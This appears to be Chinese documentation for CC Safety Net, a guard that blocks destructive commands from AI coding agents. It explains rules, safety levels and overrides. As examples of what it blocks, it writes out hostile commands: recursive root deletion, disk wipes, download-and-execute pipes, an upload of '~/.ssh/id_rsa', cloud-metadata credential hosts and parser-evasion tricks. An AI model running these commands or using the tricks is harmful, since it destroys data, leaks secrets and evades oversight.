explain --json 中显示的规则 ID。
cat .env 这类文件读取由机密保护负责。自定义规则用于添加你自己的阻止。
“结果”列的取值含义如下:
允许被阻止的命令
关闭阻止它的那条规则即可。除灾难性规则和固定拒绝 ID 外,所有规则都可以这样处理。1
获取规则 ID
阻止消息里会打印规则 ID。也可以对这条命令本身运行
explain,读取 ruleId:2
添加 off 覆盖
在
policy.json 的 destructive_command_protection.overrides 中加入该 ID,值设为 "off"。用户文件适用于所有项目,.cc-safety-net/policy.json 只适用于一个项目。把下面的内容合并到已有文件中:3
确认更改
再次运行
explain,该命令会显示为允许,status 也会列出这条覆盖。"on" 则会开启当前安全级别没有开启的规则,例如 standard 下的 rm.recursive-force-paranoid。字段语法见策略。
如果只想允许某个目录下的递归删除,而不关闭规则,请使用 allow_paths。要允许读取受保护的文件,见允许被阻止的文件。
规则不能设为询问
覆盖只接受"on" 或 "off"。没有任何设置能让规则改为请求你批准,而不是直接阻止。唯一的例外是内置的:在 Claude Code 上、standard 级别下,有两种拒绝会变成权限提示。见 Claude Code 何时改为询问而不是阻止。
各安全级别增加的阻止
灾难性规则
共有十条灾难性规则,涵盖递归删除/ 或主目录、删除 Git 元数据,以及两类 CC Safety Net 无法安全读取目标的递归删除。各表中以“灾难性”标出。
灾难性规则在任何策略下、所有安全级别都会阻止。destructive_command_protection.enabled: false、"off" 覆盖、allow_paths、worktree 模式、临时仓库放宽,以及“仅 standard 允许”的各项放行,都不影响它。
即使原本会拦截该命令的规则已关闭,它仍会阻止,因此 parallel rm -rf ::: / 仍以 rm.recursive-force-root-or-home 阻止。
Git 元数据和 policy.json 防护也是如此。它们在读取配置之前运行,因此没有任何设置能关闭它们。
Git 命令
普通的
git rm 是允许的,因为 Git 自己会拒绝删除无法从 HEAD 恢复的更改。
只带一个操作数的 git checkout <operand>,如果操作数看起来像路径(.、./…、../…、绝对路径、末尾带斜杠或 glob),或指向已存在的文件或目录,就按路径恢复处理。main 这样的分支名仍然允许。分支与文件同名时,命令会被阻止,消息中会建议改用 git switch。
开启 worktree 模式后,在经过验证的 linked worktree 内,上表中丢弃本地更改的各行都会允许。
GIT_SSH_COMMAND 会被阻止吗?
只有命令自己设置它时才会,因为这些设置都能运行任意程序。git.ssh-env 阻止的是在命令行上设置了 GIT_SSH_COMMAND、GIT_SSH 或 GIT_SSH_VARIANT,或通过 git -c 或 GIT_CONFIG_* 设置了 core.sshCommand 的 Git 网络命令(clone、fetch、pull、push、ls-remote 或 submodule)。
要允许这类命令,可以在启动智能体之前就在 shell 配置文件中导出该变量,也可以按允许被阻止的命令所述,用
"git.ssh-env": "off" 关闭这条规则。
临时仓库中的 Git 命令
/tmp 等临时目录下的一次性仓库中,Git 丢弃类命令是允许的,前提是该仓库不是你的工作区,也不在工作区内。cd /tmp/scratch && git reset --hard 可以运行。git.push-*、git.ssh-env 和 git.alias-config 规则从不这样放宽,allow_paths 也不会扩大这项放宽的范围。
仓库有可能让 Git 指向仓库之外的文件时,常规规则照常生效,例如设置了 core.worktree,或 .git 中有 commondir 文件。
文件系统命令
每一行rm -rf 同样涵盖 rm -r、rm -R 和 rm --recursive,规则 ID 相同。
CC Safety Net 先解析符号链接再比较路径,因此指向
/ 的符号链接按 / 处理,/tmp-malicious 也不算临时路径。未加引号的 glob 会先展开,因此工作目录是主目录时,rm -rf * 以 rm.recursive-force-root-or-home 阻止。
递归删除以哪个目录为比较基准
目标算在内还是在外,以会话工作区为基准判定。命令运行的目录只决定相对路径解析到哪里,不决定哪些路径算在外面。工具调用指定自己的工作目录也改变不了这一点,因此在工作目录为工作区父目录的调用中,rm -rf outside 以 rm.recursive-force-outside-cwd 阻止。
Git 上下文和机密路径仍在命令运行的目录中解析。只要工作区或该目录是主目录,主目录规则就会生效。关闭这条规则后,删除仍会按目标自身位置对应的规则阻止,例如 rm.recursive-force-outside-cwd。
与字面量路径不同,由变量或替换构成的目标只看命令运行的目录,因此被成功追踪的 cd 离开主目录后,standard 又会允许。
rsync --delete 会被检查吗?
会。带有 --delete、--delete-after 或 --del 等删除选项时,CC Safety Net 把第一个操作数之后的每个操作数都当作目标路径检查,结果见上表。
由变量构成的目标路径会被阻止,因为两个变量都为空时,rsync -a --delete "$SRC/" "$DST/" 实际运行的是 rsync -a --delete / /。目标路径为 .git/ 时属于灾难性情形,以 rm.git-metadata 阻止。
allow_paths 下的递归删除
rm、PowerShell Remove-Item 和 find -delete 规则在所有安全级别下,都把 destructive_command_protection.allow_paths 中列出的目录当作临时目录处理。允许路径从不涵盖根目录、主目录、Git 元数据或动态目标,也不会放宽机密保护和 Git 临时仓库放宽。可接受的条目见允许路径。
设备和磁盘命令
CC Safety Net 在所有安全级别检查dd、mkfs、mke2fs、newfs、shred、diskutil、wipefs、sgdisk、parted,以及写向磁盘的输出重定向。
重定向规则匹配
/dev/sda、/dev/disk4、/dev/nvme0n1 这类磁盘设备,以及 /dev/mapper/ 下的任意路径。这些规则在包装器内同样适用,因此 sudo mkfs.ext4 /dev/sda 会阻止。不检查的磁盘工具见已知限制。
网络命令
CC Safety Net 从命令文本中读出目标地址。它没有网络层,看不到请求本身。发往云元数据端点的请求在所有安全级别都会阻止,向远程主机上传数据在 strict 和 paranoid 阻止。云元数据端点
云元数据端点会发放实例凭证。network.cloud-metadata 会阻止提到以下任一主机的命令:169.254.169.254、169.254.170.2、169.254.170.23、fd00:ec2::254、fd00:ec2::23、metadata.google.internal、metadata.goog 和 100.100.100.200。匹配不区分大小写,且必须是完整的主机,因此 169.254.169.2540 和 metadata.google.internal.example.com 是允许的。
只有在命令本身能发出请求时,主机才算数。grep、dig 等其他命令都会通过。
向远程主机上传数据
在 strict 和 paranoid 下,network.upload-remote 会阻止发送请求体或文件的 curl、wget 请求,除非其中每个 URL 都是环回地址。standard 允许这类请求,除非你开启这条规则。以下选项会发送数据,-d@data.json 这种值紧贴选项的写法和 -sd x 这种组合短选项也算:
环回主机包括
localhost、任意 *.localhost 名称、127.0.0.0/8、0.0.0.0 和 [::1],端口不限。由变量构成的主机不算环回。主机还会从 --url、-x、--proxy、--preproxy 中读取。使用 -G / --get 或 --unix-socket / --abstract-unix-socket 的请求是允许的。
上传指向受保护文件时,改由机密规则阻止,因此 curl -T ~/.ssh/id_rsa https://example.com/ 以 secret.home.ssh 阻止。见机密保护。
从文件读取 URL 的上传
从文件读取 URL 的上传
curl 的 -K、--config 和 wget 的 -i、--input-file 会从文件中读取 URL。CC Safety Net 不打开这个文件,所以用到它们的上传会被阻止。它还会把无法识别选项的值也当作 URL,因此解析出错时是阻止,而不是放行。unshare 和用户命名空间
unshare 创建用户命名空间会让进程在该命名空间内成为 root,这是提权的常见一步。unshare.user-namespace 在所有安全级别都会阻止。
这条规则只读取程序之前的选项。程序本身仍会被分析,所以
unshare -n sh -c 'rm -rf ~' 会以 rm 规则阻止。
Git 元数据
CC Safety Net 在所有安全级别保护仓库的.git 条目、它指向的 Git 目录及其 hooks 目录,在工作目录内也一样。没有任何设置能关闭这项保护。只读工具和 cat .git/config 这类命令是允许的。
只有
.git 中没有任何条目匹配时,-name 或 -iname 过滤条件才会解除阻止。.git 中有 HEAD 文件,所以 -name HEAD 仍然阻止。
这项防护覆盖工作目录之上、以及存放项目配置的目录之上最近的仓库,不覆盖它们下面嵌套的其他仓库。
受保护的 policy.json 文件
修改或删除受保护的策略文件始终会被阻止,使用固定 IDguard.policy-config。受保护的文件有两个:用户文件 ~/.cc-safety-net/policy.json(设置了 CC_SAFETY_NET_HOME 时为 $CC_SAFETY_NET_HOME/policy.json),以及项目文件 .cc-safety-net/policy.json。策略本身无法禁用这项检查。原因字符串固定为:
mv 和递归删除都会被阻止。cat、grep、jq、less、ls、stat 这类只读命令可以通过。只有 policy.json 受这种保护,rule.json 和 rulebook 不受。
智能体运行 cc-safety-net policy apply
智能体不能运行 cc-safety-net policy apply,无论是通过 npx 还是其他运行器。CC Safety Net 以固定 ID guard.policy-apply 拒绝它,没有任何选项能解除。policy check 仍然允许。原因字符串固定为:
PowerShell 命令
Remove-Item 规则在 shell 模式为 powershell 或 auto 时生效。posix 模式下只应用 git.reset-hard 这类跨 shell 规则。别名和缩写参数同样算数,因此 ri . -r -fo 会阻止。
在 auto 模式下,读作 PowerShell 的命令还会按 POSIX shell 命令再检查一遍,任一种读法阻止,命令就阻止。因此 Get-Content x#; git reset --hard 以 git.reset-hard 阻止:PowerShell 把 # 读作注释,bash 却会运行其中的 git reset。
-WhatIf、-WhatIf:$true 和 -wi 会让任何 Remove-Item 变成演练,因此不会阻止。-WhatIf:$false 则重新阻止。PowerShell 通配符会匹配以点开头的条目,所以通配符可能触及 .git。
PowerShell 求值的远程内容
iex 和 Invoke-Expression 求值的文本来自下载时,在所有安全级别都会阻止,Windows 上常见的安装程序写法都属于这种情形。这条规则在 shell 模式为 powershell 和 auto 时生效;在 pwsh -c 或 powershell -Command 脚本内部,任何 shell 模式下都生效。
iex 求值的词里只要出现下载工具,或调用了 .DownloadString(、.DownloadData(,就会阻止,因此 iex (& irm …) 和 iex $wc.DownloadString(…) 也会阻止。同一管道中任何靠前一级的下载同样算数。加引号的字面量里出现的下载工具不算,因此 iex "Write-Host curl" 是允许的。
在 PowerShell 中,irm、iwr、Invoke-RestMethod 和 Invoke-WebRequest 都算下载,因此 irm … | python3 也会按 curl 会被检查吗?中的规则阻止。
Shell 包装器和解释器单行命令
CC Safety Net 会检查bash -c、sh -c、sudo、env 等包装器内的命令,最多深入 10 层,嵌套更深的命令直接拒绝。你的自定义规则在任意深度同样生效。
bash -n 只检查语法,因此只带 -n 和 -c 的 shell 无论脚本写了什么都允许。可能改变哪个单词被当作脚本或撤销 -n 的选项(例如任何 + 选项),会以 analysis.dynamic-shell-source 阻止。
按这种方式检查的解释器有 python、python2、python3、node、ruby 和 perl。要阻止所有解释器单行命令(包括 python -c "print(1)"),请开启 paranoid 解释器检查。这类阻止使用 interpreter.one-liner-paranoid。
解释器自己执行的递归删除
解释器代码即使不含任何 shell 命令,也能通过解释器自身的标准库删除根目录或主目录。无论这类调用出现在内联代码、heredoc 还是从 stdin 读入的代码中,CC Safety Net 在所有级别都会阻止。
第一个参数是字面的根目录或主目录路径,或是以下表达式之一时,调用会被阻止:
os.path.expanduser('~')、Path.home()、os.environ['HOME']、os.getenv('HOME')、$ENV{HOME}、os.homedir()、process.env.HOME、Dir.home、ENV['HOME']。
字面的 ~ 仍然允许,因为这些 API 都不会展开它。匹配基于代码文本,因此调用即使写在字符串里也会阻止。见解释器单行命令存在解析缺口。
命令提示符正文
CC Safety Net 在任何 shell 模式下都会读取cmd /c 和 cmd /k 的正文。其中带 /s 的 rmdir、rd、del 和 erase 按删除规则检查,正文其余部分按普通命令检查,因此 cmd /c git reset --hard 以 git.reset-hard 阻止。
cmd 不把
\" 当作转义,所以带引号的目标可能被拆开,其中一段指向驱动器根目录。正文含有 \" 的递归删除属于灾难性,阻止消息会建议把每个路径分别加引号,或改用 Remove-Item -LiteralPath。
递归删除如果同时用到 ^、%、!、cd,或带引号的 &、|,会被当作无法验证的执行来源拒绝。
读取器按文本匹配,因此 cmd /c 'echo rmdir /s /q C:\' 虽然什么都不删除,也会阻止。读取器不覆盖的情况见已知限制。
嵌套的 PowerShell 脚本
当powershell -Command '…' 或 pwsh -c '…' 中的脚本是字面文本,且 -Command 之前只出现 -NoProfile、-NonInteractive、-NoLogo 或 -ExecutionPolicy 时,CC Safety Net 在任何 shell 模式下都按 PowerShell 读取该脚本。其他形式只要写出了递归删除,就按灾难性阻止。
生成命令的 eval 与 source
eval "$(CMD)"、source <(CMD) 和 . <(CMD) 会运行 CMD 打印出的任何内容。CC Safety Net 检查的是 CMD 本身,因此 eval "$(rm -rf /)" 会因其中的 rm 阻止,但它无法检查 CMD 打印的内容。
standard 只允许由字面量单词组成的单条简单命令,且该命令不能是下载工具、shell 或
sudo 这类包装器。standard 会信任这条命令的输出。
curl 会被检查吗?
会,前提是它可能执行或泄露某些内容。curl -o out.zip https://example.com/a.zip 这样的普通下载是允许的,因为 CC Safety Net 没有网络层。
运行下载内容的命令在所有级别都会阻止,原因为 shell execution source cannot be verified safely.。程序无论先经过 shell、解释器还是磁盘,结果都一样。
在无法解析的文本或 heredoc 正文中,同样的写法以
raw-text.dangerous-command 阻止。PowerShell 自有的写法见 PowerShell 求值的远程内容。
发往云元数据端点的请求也会被阻止,向非环回主机的上传则由 strict 阻止,见网络命令。
仍然允许的下载
受检查的解释器有python、python2、python3、node、ruby 和 perl。它们不把下载内容当作程序运行时,命令是允许的。
CC Safety Net 对下载追踪到哪一步
CC Safety Net 对下载追踪到哪一步
同一管道中任何靠前的一级都算,因此
curl … | gunzip | python3 - 会阻止;通过 timeout、nice、exec、stdbuf 这类 exec 包装器运行的下载工具也一样。下载工具有 curl、wget、fetch、aria2c、http、https、xh、xhs、nc、ncat 和 netcat。只有重定向指向字面量文件、here-string 或加引号的 heredoc 时,才会取代下载成为解释器的输入。curl … | python3 <&0 和 curl … | python3 - < /dev/stdin 仍然读取下载内容,因此会阻止。文件落到磁盘时,CC Safety Net 会记录 curl -o 和 --output、wget -O 和 --output-document 以及 > 重定向写入的路径。之后再有 > 写同一路径,就会取代这次下载,因此 curl … -o i.sh && echo 'echo hi' > i.sh && bash i.sh 是允许的。这些记录不会延续到下一次工具调用。语法检查选项只有出现在脚本操作数之前才算,因此 curl … -o check.js && node check.js --check 会阻止。perl -c 也不例外,因为 perl 在解析过程中就会执行 BEGIN 块。Heredoc
如果 heredoc 的消费者只是存储或发布正文,正文就是数据,CC Safety Net 在任何级别都不会把它当作命令检查。消费者必须是字面量cat、tee、git apply、git commit、gh pr create 或 gh issue create,且 heredoc 必须是它唯一的输入重定向。
在 standard 下,其他 heredoc 的正文会作为文本扫描破坏性模式。分隔符带引号,或正文中没有
$、反引号和反斜杠时,正文不展开。
shell 把不展开的 heredoc 读作自己的程序时(例如 bash <<'EOF'),standard 会把正文中的每条命令都当作顶层命令分析,正文里的 git reset --hard 会按它自己的规则阻止。
standard 下 shell heredoc 的细节
standard 下 shell heredoc 的细节
heredoc 必须是标准输入上最后一个输入重定向。命令分析没有命中时,文本扫描仍会运行,因此
rm -rf "$1" 这样的正文会以 raw-text.dangerous-command 阻止。$、反引号或反斜杠时,拒绝消息为:
从文件运行的脚本
在所有安全级别,CC Safety Net 都会读取命令所运行的 shell 脚本(例如sh x.sh、bash x.sh、source x.sh、. x.sh 或 ./x.sh),并检查其中的内容。脚本可以是磁盘上的文件,也可以由同一条命令中的 heredoc 写出,例如 cat > x.sh <<'EOF' … EOF && bash x.sh。
阻止时会指明文件和行号(从 1 开始)。原因以
deploy.sh:3: 开头,后面接规则自身的文本。脚本里再运行另一个脚本时,指明的是最内层的文件和行号。explain 会增加一个 script-file 步骤,带上路径和文件的字节数,但不含脚本文本。
./x.sh 只有在没有 shebang 行,或使用 #!/bin/sh 这类 shell shebang 时才会读取。sh x.sh 和 source x.sh 不看 shebang。解释器文件从不读取,所以无论文件里做了什么,python3 tool.py 都会被允许。
只有脚本内部命中具体规则才会阻止命令。如果分析停在无法验证的行上(例如 eval "$(…)"),外层命令的决策不变。
由变量构成的脚本路径
由变量构成的脚本路径
在 standard 下,CC Safety Net 还会跟踪由字面量赋值构成的脚本路径,例如
S=/tmp/run; … bash $S/x.sh。值的开头可以是 ~、$HOME 或 $PWD,在 macOS 上还可以使用 $(getconf DARWIN_USER_TEMP_DIR)。什么情况下不读取脚本
以下情况下 CC Safety Net 不读取该文件,外层命令的决策不变:- 路径不是普通文件、大于 256 KB、含有 NUL 字节,或位于
/dev、/proc、/sys之下。 - 同一命令中前面的部分可能写过这个路径,或写过它上层的某个目录。
- 该命令已经读满 64 个脚本,嵌套读取也计入。
哪些先前的写入会阻止读取
哪些先前的写入会阻止读取
CC Safety Net 追踪输出重定向,以及
cp、mv、install、ln、sed -i、curl、wget、tee 的操作数。对 sed -i、curl、wget 和 tee,每个操作数都算。对 cp、mv、install 和 ln,只有目标算:有 -t 或 --target-directory 时就是它的值,否则是第一个操作数之后的每个操作数。因此 cp scripts/deploy.sh /tmp/backup.sh && sh scripts/deploy.sh 仍会读取 scripts/deploy.sh。无法解析的命令文本
shell 解析器无法读取命令时(例如引号未闭合),结果取决于安全级别。
在 standard 下,CC Safety Net 会在无法解析的文本中扫描
rm -rf、git reset --hard、dd of=/dev/、经管道交给 shell 的下载等破坏性模式,命中即以 raw-text.dangerous-command 阻止。${ list; } 函数替换等部分语法在所有级别都会阻止,即使命令本身无害。
回车符和 Unicode 空格
命令中任何位置含有回车符、垂直制表符或换页符时,在所有级别都以analysis.strict-unparseable 阻止,因为 Bash 和 zsh 会把这些字符保留在单词内部。Windows 换行符(CRLF)同样算在内,请用 LF 换行符发送命令。
Unicode 空格(例如不换行空格或字节顺序标记)位于单词之间时,同样会被阻止。在引号内或 heredoc 正文中,它只是普通文本,因此带全角空格的 git commit -m '修正 テスト' 是允许的。
要查看某条命令被阻止或允许的具体原因,请运行 explain。
固定拒绝 ID
有些拒绝不来自规则,而是来自命令分析之前运行的防护、分析上限与失败,或不可用的工作目录。它们带有固定 ID,凡是显示规则 ID 的地方都会显示,包括checkCommand 所返回拒绝的 ruleId。
这些 ID 不是已注册的规则,因此不能写进 destructive_command_protection.overrides。policy check 会以 unknown destructive command rule id "<id>" 拒绝其中每一个。